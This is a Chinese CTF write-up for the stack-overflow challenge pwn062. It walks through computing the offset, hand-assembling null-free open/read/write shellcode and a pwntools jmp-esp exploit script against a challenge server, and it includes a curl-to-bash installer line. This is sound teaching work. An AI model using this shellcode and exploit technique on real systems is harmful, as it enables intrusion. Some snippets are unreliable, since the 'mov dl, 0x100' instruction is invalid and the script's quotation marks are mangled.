CTF Pwn 062 栈溢出实战:受限缓冲区下的极简 Shellcode 构造与利用

📅 2026/8/11 13:51:34
CTF Pwn 062 栈溢出实战:受限缓冲区下的极简 Shellcode 构造与利用
1. 项目概述与核心挑战拿到这道题第一眼看到“受限缓冲区”和“极简 Shellcode”这两个关键词就知道这又是一道考验基本功和思维灵活性的经典栈溢出题目。这类题目在CTF的Pwn入门系列中非常常见它不追求复杂的漏洞链构造而是聚焦于最本质的问题当你能写入的缓冲区空间非常有限甚至存在字符过滤时如何巧妙地塞入并执行一段能获取Shell的代码。这道pwn 062正是这类问题的典型代表它模拟了一个非常真实的场景——程序可能只给你预留了十几个字节的溢出空间传统的、动辄几十字节的execve(“/bin/sh”)Shellcode 根本放不下。这时候就需要我们化身“代码微雕师”在方寸之间施展拳脚。这道题的核心价值在于它强迫你深入理解Shellcode的本质而不仅仅是会调用现成的工具生成。你需要明白每一条汇编指令对应什么机器码这些机器码在作为字符串输入时是否会因为程序本身的过滤逻辑比如不能出现\x00空字符或者必须是可见字符而失效。同时你还需要精确计算栈的布局因为空间实在太宝贵了多一个字节的偏差都可能导致覆盖不到返回地址或者破坏了后续栈帧结构导致崩溃。解决这类问题的过程是对栈溢出利用技术从“会用”到“懂原理”的一次重要跨越。无论是刚接触二进制安全的新手还是想巩固基础的老手通过这道题的实战都能对栈上Shellcode注入的细节有更肌肉记忆般的理解。2. 环境准备与题目初步分析2.1 实验环境搭建工欲善其事必先利其器。分析Pwn题一个稳定、高效的Linux环境是基础。我个人习惯使用 Ubuntu 20.04/22.04 LTS 版本系统纯净软件包丰富。以下是一些核心工具的安装命令建议在干净的虚拟机或容器中操作# 更新系统并安装基础编译环境和调试工具 sudo apt update sudo apt upgrade -y sudo apt install -y gcc gdb gdb-multiarch python3 python3-pip git make # 安装pwntools这是我们的主力攻击框架 pip3 install pwntools # 安装用于检查二进制文件信息的工具 sudo apt install -y file binutils # 安装增强的GDB插件如peda、gef或pwndbg这里以gef为例 # 首先安装依赖 sudo apt install -y cmake # 通过一键脚本安装gef (建议在用户目录下执行) bash -c $(curl -fsSL https://gef.blah.cat/sh) # 将source ~/.gdbinit-gef.py 添加到你的 ~/.gdbinit 文件中安装完成后可以通过checksec命令pwntools提供和file命令来快速了解目标程序的安全属性和基本信息这是分析的第一步。2.2. 题目信息收集与静态分析假设我们拿到的题目文件名为pwn062。第一步永远是信息收集。file pwn062 # 查看文件类型通常是ELF可执行文件 checksec pwn062 # 检查程序开启的安全保护机制checksec的结果至关重要。对于这道“栈溢出”基础题我们预期看到的大概率是Arch: i386-32-little或amd64-64-little告诉我们程序是32位还是64位这直接影响寄存器、函数调用约定和地址长度。RELRO: Partial RELRO通常对于入门题RELRO保护级别不会太高。Stack: No canary found这是关键没有栈金丝雀Canary意味着我们可以直接溢出覆盖返回地址而不需要先泄露或绕过Canary。NX: NX disabled这是另一个关键NX不可执行保护被禁用。这意味着栈上的数据即我们注入的Shellcode可以被当作指令来执行。如果NX开启我们就需要转向ROP等不需要执行栈上代码的技术。PIE: PIE disabledPIE地址空间布局随机化被禁用。这意味着程序的加载基地址是固定的我们可以在静态分析时直接使用像0x8048000这样的硬编码地址而不需要先泄露地址。注意实际做题时一定要先确认这些保护机制。如果题目开启了NX那么本题目“Shellcode注入”的前提就不成立解题思路将完全不同。本题的设定是基于NX关闭的。接下来使用反汇编工具进行静态分析。objdump是系统自带的利器objdump -d pwn062 -M intel disassembly.txt # 反汇编并保存-M intel 指定Intel语法个人偏好或者使用radare2、Ghidra、IDA Pro等更强大的图形化/交互式工具。我们的目标是找到那个存在溢出漏洞的函数。通常在main函数中会调用一个危险的函数比如gets、scanf(“%s”)、strcpy等。通过快速浏览反汇编代码或使用rabin2 -zz pwn062查找字符串我们可能会发现程序使用了read、fgets等函数但关键在于其读取的长度是否大于目标缓冲区的长度。题目描述中的“受限缓冲区”暗示了缓冲区大小可能很小比如只有16或32字节。假设我们通过分析找到了一个类似如下的脆弱函数vulnerable_functionpush ebp mov ebp, esp sub esp, 0x20 ; 在栈上开辟了0x2032字节的空间 lea eax, [ebp-0x10] ; 将缓冲区地址ebp-0x10加载到eax缓冲区大小可能只有16字节 push eax call gets ; 使用不安全的gets函数可以读取任意长度直到换行符或EOF add esp, 4 leave ret这里就存在一个典型的栈溢出gets向ebp-0x1016字节缓冲区写入数据但不会检查长度。如果我们输入超过16字节的数据就会覆盖栈上ebp保存的帧指针和函数的返回地址。2.3. 动态调试与栈布局确认静态分析给出了怀疑动态调试则是验证和精确测量的过程。使用gdb启动程序gdb -q ./pwn062在gdb中我们可以在vulnerable_function的gets调用前后设置断点。(gdb) break *vulnerable_function25 # 假设call gets指令的地址 (gdb) break *vulnerable_function30 # gets返回后的地址 (gdb) run当程序在第一个断点停下时我们可以查看栈布局(gdb) x/20wx $esp这条命令会显示从当前栈顶开始的20个32位字word的内存内容。我们需要找到我们输入的缓冲区的起始地址比如0xffffd580。保存的ebp的地址通常在缓冲区上方。返回地址的位置在保存的ebp上方4字节处32位程序。一个典型的栈帧布局如下从高地址到低地址生长高地址 ... 其他栈帧 ... 返回地址 (Return Address) - 我们要覆盖的目标 保存的ebp (Saved EBP) - 溢出时也会被覆盖 局部变量2 局部变量1 (缓冲区 char buf[16]) - 我们输入的起点 ... 可能还有其他局部变量 ... 低地址通过计算返回地址的地址 - 缓冲区的起始地址我们就能得到精确的偏移量Offset。这个偏移量告诉我们在输入多少个字节后接下来的4个字节32位就会覆盖到返回地址。实操心得在gdb中你可以使用pattern create和pattern offset来自动化这个过程。pwntools也提供了cyclic()和cyclic_find()函数这是更常用的方法。先生成一段唯一的长字符串作为输入程序崩溃后查看覆盖返回地址的值再用工具反查这个值在字符串中的位置就得到了偏移量。这是Pwn手的必备技能。3. 核心原理Shellcode的精简与构造3.1. Shellcode的本质与约束Shellcode本质上是一段独立的、位置无关的机器码。当程序的控制流比如返回地址被劫持到这段代码的起始地址时CPU就会开始执行它。在栈溢出中我们通常将Shellcode放在缓冲区内然后将返回地址覆盖为缓冲区的起始地址。然而题目中的“受限”二字带来了多重约束空间限制缓冲区本身很小可能只有16-32字节。传统的/bin/shShellcode通过系统调用执行execve(“/bin/sh”, 0, 0)在32位环境下通常需要40-50字节显然放不下。字符过滤程序可能在读入数据后会对输入内容进行过滤。常见的过滤包括截断空字符 (\x00)\x00在C语言中表示字符串结束。如果程序使用strcpy、strcat或printf(“%s”)等函数处理我们的输入\x00之后的 payload 会被截断而失效。因此Shellcode 本身不能包含\x00字节。只允许可见字符 (Printable/ASCII)有些题目会检查输入是否全部在可打印ASCII字符范围内0x20-0x7e。这要求我们构造的Shellcode的每一个字节都必须对应一个可打印字符这被称为“字母数字Shellcode (Alphanumeric Shellcode)”或“可见字符Shellcode”构造难度极大。过滤特定指令例如过滤int 0x80系统调用中断或syscall指令的机器码。本题pwn 062根据标题和常见套路核心约束很可能是空间限制和空字符截断。我们的任务就是构造一段极短且不含\x00的Shellcode。3.2. 极简Shellcode构造思路当空间是首要敌人时我们的目标不再是启动一个完整的交互式shell/bin/sh而是执行一个能让我们“读到flag”的最小化操作。在CTF中这通常意味着执行execve(“/bin/sh”)最通用但代码较长。执行execve(“/bin/cat”, [“cat”, “flag”], NULL)如果知道flag文件名直接cat出来代码可能比启动shell更短。使用openreadwrite(ORW)当不能执行外部程序或者flag文件名未知需要遍历时就用系统调用打开文件、读取内容、写到标准输出。这是更底层、更灵活的方式。对于极简场景我们优先考虑第2种或第3种。因为execve系统调用需要设置多个参数文件名指针、参数数组指针、环境变量指针而open/read/write可以逐个调用每一步的代码可以更紧凑。假设我们知道flag文件就是当前目录下的flag。我们来对比一下思路思路ACat Flag目标执行execve(“/bin/cat”, [“cat”, “flag”], NULL)。挑战需要构造字符串”/bin/cat”和”flag”并设置好参数数组代码量依然可观。思路BORW链目标依次执行open(“flag”, O_RDONLY)-read(fd, buf, size)-write(1, buf, size)。优势每一步只需要处理少数几个参数可以利用寄存器传递代码可以写得非常精简。特别是我们可以将字符串”flag”巧妙地通过栈操作如push来构造避免在Shellcode中直接包含字符串常量那样会引入很多字节。对于本题我们选择思路BORW链因为它最具代表性且能压缩到极小的体积。下面我们来手搓一段32位Linux下的极简ORW Shellcode。3.3. 手搓不含空字节的ORW Shellcode我们使用汇编来编写并确保生成的机器码没有\x00。首先回顾一下32位Linux系统调用约定系统调用号放在eax参数依次放在ebx,ecx,edx,esi,edi。打开文件open(“flag”, O_RDONLY)系统调用号open是5。参数1 (ebx)文件名字符串地址。我们需要把字符串”flag”压入栈然后将栈指针esp赋给ebx。参数2 (ecx)打开标志O_RDONLY是0。参数3 (edx)模式通常忽略设为0。难点如何在不引入\x00的情况下将”flag”入栈字符串”flag”的十六进制是0x67616c66。如果直接push 0x67616c66指令是\x68\x66\x6c\x61\x67这本身不含\x00。但是字符串需要以空字符结尾。我们可以通过先将eax清零xor eax, eax然后push eax压入4字节的0再压入字符串。清零操作xor eax, eax的机器码是\x31\xc0也不含\x00。读取文件read(fd, buf, size)系统调用号read是3。参数1 (ebx)文件描述符fd。open成功后会返回fd在eax中我们需要将其保存到ebx。参数2 (ecx)缓冲区地址。我们可以选择一个固定的、可写的地址比如0x804a000如果.bss段可写且地址已知或者更通用地直接使用栈上的一个地址比如esp指向的某个位置。使用栈地址需要小心计算避免破坏正在执行的Shellcode。参数3 (edx)要读取的字节数比如0x100256字节。写入标准输出write(1, buf, size)系统调用号write是4。参数1 (ebx)文件描述符1 表示标准输出。参数2 (ecx)缓冲区地址同read的ecx。参数3 (edx)写入的字节数同read的edx。下面是一段精心构造的、不含\x00的32位ORW Shellcode示例。我们假设将flag内容读到一个固定的.bss段地址0x804a000以简化栈操作; 假设 .bss 段地址 0x804a000 可写 ; 这段Shellcode的目标是open(“flag”)-read(fd, 0x804a000, 0x100)-write(1, 0x804a000, 0x100) section .text global _start _start: ; 1. open(“flag”, O_RDONLY) xor eax, eax ; eax 0 push eax ; 字符串结尾的 \x00 push 0x67616c66 ; 压入 “flag” 字符串的十六进制表示 (小端序: ‘f’, ‘l’, ‘a’, ‘g’) mov ebx, esp ; ebx 指向栈上的字符串 “flag\x00” xor ecx, ecx ; ecx 0 (O_RDONLY) xor edx, edx ; edx 0 (mode) mov al, 5 ; syscall number for open (5). 使用 al 避免高位引入00 int 0x80 ; 触发系统调用返回值(fd)在 eax ; 2. read(fd, buf, 0x100) mov ebx, eax ; 将 open 返回的 fd 保存到 ebx mov ecx, 0x804a000 ; 目标缓冲区地址 (假设已知且可写) mov dl, 0x100 ; 读取长度 0x100使用 dl 避免高位引入00 xor eax, eax ; eax 0 mov al, 3 ; syscall number for read (3) int 0x80 ; 3. write(1, buf, 0x100) mov ebx, 1 ; 文件描述符 1 (stdout) ; ecx 仍然是缓冲区地址 0x804a000 ; edx 仍然是长度 0x100 mov al, 4 ; syscall number for write (4) int 0x80 ; 4. 退出 (可选避免崩溃) xor eax, eax mov al, 1 ; syscall number for exit (1) xor ebx, ebx ; exit code 0 int 0x80使用nasm汇编并提取机器码nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode objdump -d shellcode -M intel从objdump的输出中复制_start段下的机器码类似\x31\xc0\x50\x68\x66\x6c\x61\x67...。关键一步检查这段机器码中是否包含\x00字节。可以使用xxd或hexdumpobjcopy -O binary -j .text shellcode.o shellcode.bin hexdump -C shellcode.bin如果发现00就需要调整汇编指令。例如mov eax, 5的机器码是\xb8\x05\x00\x00\x00包含了三个\x00。所以我们改用mov al, 5\xb0\x05只设置低8位高位由之前的xor eax, eax保证为0。同理设置edx为0x100时使用mov dl, 0x100可能会因为0x100超过8位而编译成包含\x00的指令更安全的做法是分步操作或者使用mov dx, 0x100注意机器码是否含00。经过反复调整和测试最终我们可以得到一段长度可能在30-40字节左右、不含\x00的纯机器码。这就能满足“受限缓冲区”的要求。注意事项在实际解题中.bss段的地址0x804a000需要根据实际二进制文件确定。如果题目没有合适的固定可写地址我们就需要将内容读到栈上。这时计算栈地址的偏移会变得棘手因为栈地址在每次运行时可能因环境变量等因素略有变化ASLR关闭时主线程栈基址固定但偏移仍需精确计算。一个更稳健的方法是使用jmp esp或call esp等指令如果程序存在这样的gadget将执行流跳到栈上然后Shellcode的第一条指令再调整栈指针为读入的数据预留空间。这涉及更高级的栈迁移Stack Pivot技术在本基础题中可能不是必须的。4. 完整利用链构建与Exploit编写4.1. 计算精确偏移与确定返回地址有了Shellcode我们还需要知道把它放在哪里以及把返回地址覆盖成什么。这需要精确的偏移量。使用pwntools的cyclic功能可以自动化这个过程from pwn import * context(arch‘i386‘, os‘linux‘) # 根据题目设置上下文 p process(‘./pwn062‘) # 本地测试 # 发送一个长字符串覆盖返回地址 payload cyclic(200) # 生成200个字符的pattern p.sendline(payload) p.wait() # 等待程序崩溃 # 从core dump中获取崩溃时eip的值 core p.corefile eip_value core.eip offset cyclic_find(eip_value) # 查找该值在pattern中的位置 log.info(f“Offset to EIP: {offset}“)假设我们得到的偏移量是24。这意味着在我们输入的数据中前24个字节会填满缓冲区并覆盖到保存的ebp第25-28个字节接下来的4字节就会覆盖到返回地址。接下来我们需要决定Shellcode的放置位置和返回地址的值。方案AShellcode在缓冲区开头返回地址指向缓冲区开头。Payload结构:[Shellcode (N字节)] [‘A‘ * (offset - N)] [buf_addr]其中buf_addr是缓冲区起始地址。我们需要在调试中获取这个地址例如0xffffd580。由于PIE未开启这个地址在本地运行和远程连接时通常是固定的除非远程有ASLR但Pwn题服务器常关闭ASLR。如果地址不确定可能需要暴力猜测或信息泄露。方案BShellcode在缓冲区之后返回地址指向一个jmp esp指令地址。这种方案适用于缓冲区空间实在太小连极简Shellcode都放不下的情况。我们可以在覆盖返回地址后在更高的栈地址即返回地址之后布置Shellcode。然后让返回地址指向一条jmp esp或call esp的指令在程序或libc中寻找。当函数返回时会跳转到jmp esp这条指令接着跳转到esp当前指向的地址而esp此时正好指向返回地址之后的位置也就是我们后续Shellcode的起始处。这需要程序中有这样的gadget。对于本题假设缓冲区有32字节我们的Shellcode经优化后为36字节刚好比缓冲区大一点。我们可以采用方案B或者利用nop sled\x90指令无操作填充缓冲区将Shellcode放在偏移量之后但这样需要更大的空间。更常见的做法是既然缓冲区“受限”我们就将Shellcode全部放在偏移量之后即填充完偏移量后紧接着就是Shellcode然后让返回地址指向一个jmp espgadget。这样Shellcode本身不占用缓冲区的“名额”。4.2. 寻找JMP ESP Gadget我们可以使用ROPgadget或objdump配合grep在二进制文件中搜索ROPgadget --binary ./pwn062 | grep “jmp esp“ # 或者 objdump -d ./pwn062 | grep “ff e4“ # “jmp esp“ 的机器码是 ff e4如果程序本身没有我们还可以在加载的libc库中找。但前提是libc的基地址需要泄露这增加了复杂度。假设我们在程序中找到了jmp esp的地址0x0804842a。4.3. 编写完整的Exploit脚本结合以上所有信息我们可以编写最终的利用脚本。这里我们采用Shellcode放在返回地址之后用JMP ESP跳转的方案。#!/usr/bin/env python3 from pwn import * # 设置目标程序架构和运行方式 context(arch‘i386‘, os‘linux‘) # context.log_level ‘debug‘ # 调试时开启显示详细通信 # 启动程序 # p process(‘./pwn062‘) # 本地测试 p remote(‘pwn.challenge.ctf.show‘, 12345) # 远程连接端口需替换 # 1. 计算出的偏移量 offset 24 # 2. 精心构造的不含 \x00 的 ORW Shellcode (示例需根据实际调整) # 这个Shellcode假设 flag 字符串在栈上构造并读到栈上某个位置然后写出。 # 实际构造可能需要根据题目环境调整地址。 shellcode asm(‘‘‘ /* open(“flag“, O_RDONLY) */ xor eax, eax push eax /* 字符串终止符 \x00 */ push 0x67616c66 /* “flag“ */ mov ebx, esp /* ebx 指向 “flag\x00“ */ xor ecx, ecx /* O_RDONLY 0 */ xor edx, edx /* mode 0 */ mov al, 5 /* SYS_open */ int 0x80 /* read(fd, buf, 0x100) */ mov ebx, eax /* fd from open */ mov ecx, esp /* 读到哪里我们可以利用栈上方空间。这里假设 esp0x200 是安全区域 */ add ecx, 0x200 /* 调整 ecx 到一个更高的栈地址避免覆盖自身 */ mov dl, 0xff /* 读取长度0xff 足够大且不含00 */ xor eax, eax mov al, 3 /* SYS_read */ int 0x80 /* write(1, buf, len) */ mov ebx, 1 /* stdout */ /* ecx 已经是缓冲区地址 */ /* edx 已经是读取的字节数 (read返回值在eax但这里我们假设成功读取了0xff字节简化处理) */ mov dl, 0xff /* 写入长度同样用 0xff */ mov al, 4 /* SYS_write */ int 0x80 /* exit(0) */ xor eax, eax mov al, 1 xor ebx, ebx int 0x80 ‘‘‘) # 检查Shellcode长度和是否含坏字符 print(f“Shellcode length: {len(shellcode)}“) if b‘\x00‘ in shellcode: print(“WARNING: Shellcode contains null bytes!“) print(hexdump(shellcode)) # 3. 找到的 jmp esp gadget 地址 jmp_esp_addr 0x0804842a # 示例地址需替换为实际找到的地址 # 4. 构建Payload # 第一部分填充到返回地址 payload b‘A‘ * offset # 第二部分覆盖返回地址为 jmp_esp_addr payload p32(jmp_esp_addr) # 第三部分在返回地址之后放置我们的Shellcode payload shellcode # 5. 发送Payload p.sendline(payload) # 6. 接收并打印输出 (期望看到flag内容) # 注意如果程序是交互式的可能需要 p.interactive() print(p.recvall().decode()) p.close()4.4. 利用脚本的测试与调试在本地测试时可以先创建一个名为flag的测试文件。echo “CTFshow{test_flag}“ flag然后运行脚本。如果程序崩溃或没有输出预期内容就需要调试。使用GDB附加调试gdb -q ./pwn062 (gdb) run (python3 exploit.py)或者在脚本中process()时加上gdbscript参数让pwntools自动附加gdb并下断点。查看崩溃点如果崩溃在jmp esp之后可能是Shellcode本身有问题或者栈地址计算不准。可以在jmp esp处下断点单步跟踪观察寄存器和栈的状态。调整Shellcode最可能的问题是Shellcode中的地址假设不成立。例如add ecx, 0x200可能加得不够多导致读操作覆盖了正在执行的Shellcode。或者栈的布局与预期不符。这时需要动态调试观察esp的值并相应调整Shellcode中的偏移。实操心得在构造这种紧耦合栈布局的Shellcode时一个技巧是在Shellcode开头插入大量的nop指令 (\x90)形成一个“滑板”。这样只要返回地址跳转到这个滑板区的任何位置都会滑行到真正的Shellcode代码。这可以降低对跳转地址精确度的要求。但要注意nop指令\x90在某些字符过滤题中可能不被允许。5. 常见问题与高级技巧5.1. Shellcode执行失败的可能原因地址错误返回地址或jmp espgadget地址不正确。确保使用正确的地址并注意小端序。在远程环境中地址可能与本地不同需要根据提示或通过信息泄露获取。坏字符问题除了\x00程序可能还过滤了其他字符如\x0a(换行)、\x0d(回车)、\x20(空格)等。如果发送的Payload中包含这些字符输入可能会被提前截断或修改。需要用其他指令替代产生坏字符的机器码。栈不可执行 (NX Enabled)这是最容易被忽略的一点。如果题目实际开启了NX我们的所有努力都将白费。务必反复确认checksec结果。如果NX开启则需要转向ROP技术利用程序本身的代码片段 (gadgets) 来拼接出open/read/write的系统调用链。地址空间随机化 (ASLR)如果远程服务器开启了ASLR栈地址和libc地址每次都会变。对于栈地址如果缓冲区在栈上我们需要通过信息泄露来获取一个实时的栈地址。对于libc中的gadget需要先泄露libc的基地址。Shellcode自身错误汇编指令写错、系统调用号不对、参数传递错误。务必在本地用strace跟踪系统调用或在gdb中单步执行Shellcode观察每个系统调用前后的寄存器状态。5.2. 应对更严格的字符过滤如果题目要求Shellcode全部由可见字符组成构造难度会指数级上升。这时需要用到“编码器(Encoder)”技术。基本思路是写一段符合可见字符约束的“解码器(Decoder)”。这段代码本身也是Shellcode它的功能是从某个位置可能是栈上另一个区域读取被编码的、原始的非可见字符Shellcode然后解码并执行。原始的、功能强大的Shellcode通常包含不可见字符被编码成一段纯可见字符的字符串。Payload结构为[可见字符解码器] [填充] [返回地址指向解码器] [编码后的Shellcode]。解码器执行后会还原并跳转到原始Shellcode。常用的编码方式有xor编码、add/sub编码等。alpha3或msfvenom的-e x86/alpha_mixed编码器可以自动生成这类Shellcode但理解其原理对于解决变种题目至关重要。5.3. 利用文件描述符重用在ORW链中我们默认open返回的文件描述符是3因为0,1,2通常被stdin, stdout, stderr占用。但在某些极端情况下程序可能之前已经打开或关闭了一些文件导致fd不是3。更稳健的做法是将open返回的fd保存到一个寄存器后直接传递给read就像我们示例中做的 (mov ebx, eax)而不是硬编码一个fd值。5.4. 获取Shell与稳定交互本题要求是“读flag”所以ORW输出到标准输出即可。但如果目标是获取一个完整的shell在空间极度受限的情况下可以尝试用dup2系统调用将socket的文件描述符复制到0,1,2然后执行execve(“/bin/sh”)。或者可以分阶段注入第一段极简Shellcode用于读入第二段更长的、功能完整的Shellcode到可执行内存区域然后跳转执行。这被称为“二阶攻击”。最后在真实的CTF比赛或渗透测试中成功执行Shellcode后我们往往希望获得一个稳定的反向shell或交互式shell。使用pwntools的p.interactive()可以很好地与本地进程交互但对于远程如果只是执行了cat flag接收输出即可。如果执行了/bin/sh则需要用p.sendline()发送命令用p.recv()接收结果或者直接使用p.interactive()进入一个类终端的环境。